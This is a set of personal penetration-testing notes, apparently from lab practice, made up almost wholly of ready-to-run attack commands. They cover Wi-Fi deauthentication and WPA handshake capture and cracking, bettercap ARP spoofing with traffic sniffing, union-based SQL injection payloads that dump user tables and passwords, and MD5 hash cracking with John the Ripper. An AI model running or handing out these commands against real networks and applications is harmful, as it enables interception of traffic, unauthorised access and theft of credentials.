Notes

Monitor mode:
ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
________________________________________

Sniff:
airodump-ng wlan0

Targeted packet sniff:
airodump-ng --bssid <MAC> --channel <number> <interface>

Deauthentication Attack:
aireplay-ng --deauth <number> -a <MAC> -c <MAC> <interface>

________________________________________
HandShake:
airodump-ng --bssid 1C:B7:96:89:60:44 --channel 3 --write handshake_kefia2 wlan0

aireplay-ng --deauth 4 -a 1C:B7:96:89:60:44 -c 70:BB:E9:A8:C0:FD wlan0

Creating a Wordlist:
crunch 5 6 1234abc -o wordlist.txt

Getting MIC (Message Integrity Code):
aircrack-ng wpa_handshake-01.cap -w testpasses.txt

________________________________________
ARP spoof
bettercap -iface eth0
help
help net.probe
net.probe on
net.show
help arp.spoof
set arp.spoof.fullduplex true
set arp.spoof.targets 10.0.2.6
arp.spoof on
net.sniff on




crunch 5 6 1234abc -o wordlist.txt


ٍSQL INJECTION

First name & Sure name
%' or '0'= '0
This is the example of “Always True Scenario”.
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Database version
%' or 0=0 union select null, version() #
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0' union select null, version() ;

Database User
%' or 0=0 union select null, user() #
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0' union select null, user() ;

Database Name
%' or 0=0 union select null, database() #
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0' union select null, database();

Display all tables in information_schema
%' and 1=0 union select null, table_name from information_schema.tables #
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = '%' and ‘1’=’0’ union select null, table_name from information_schema.tables ;
The INFORMATION_SCHEMA is the information database, the place that stores information about all the other databases that the MySQL server maintains.

Display all the user tables in information_schema
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Database Statement
SELECT first_name, last_name FROM users WHERE user_id = %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%';

Display all the columns fields in the information_schema user table
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

Display all the columns field contents in the information_schema user table
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Crack hashes using john the ripper
john --list=formats
john --format=Raw-MD5 --wordlist /usr/share/wordlists/rockyou.txt
john --show md5hash --format=Raw-MD5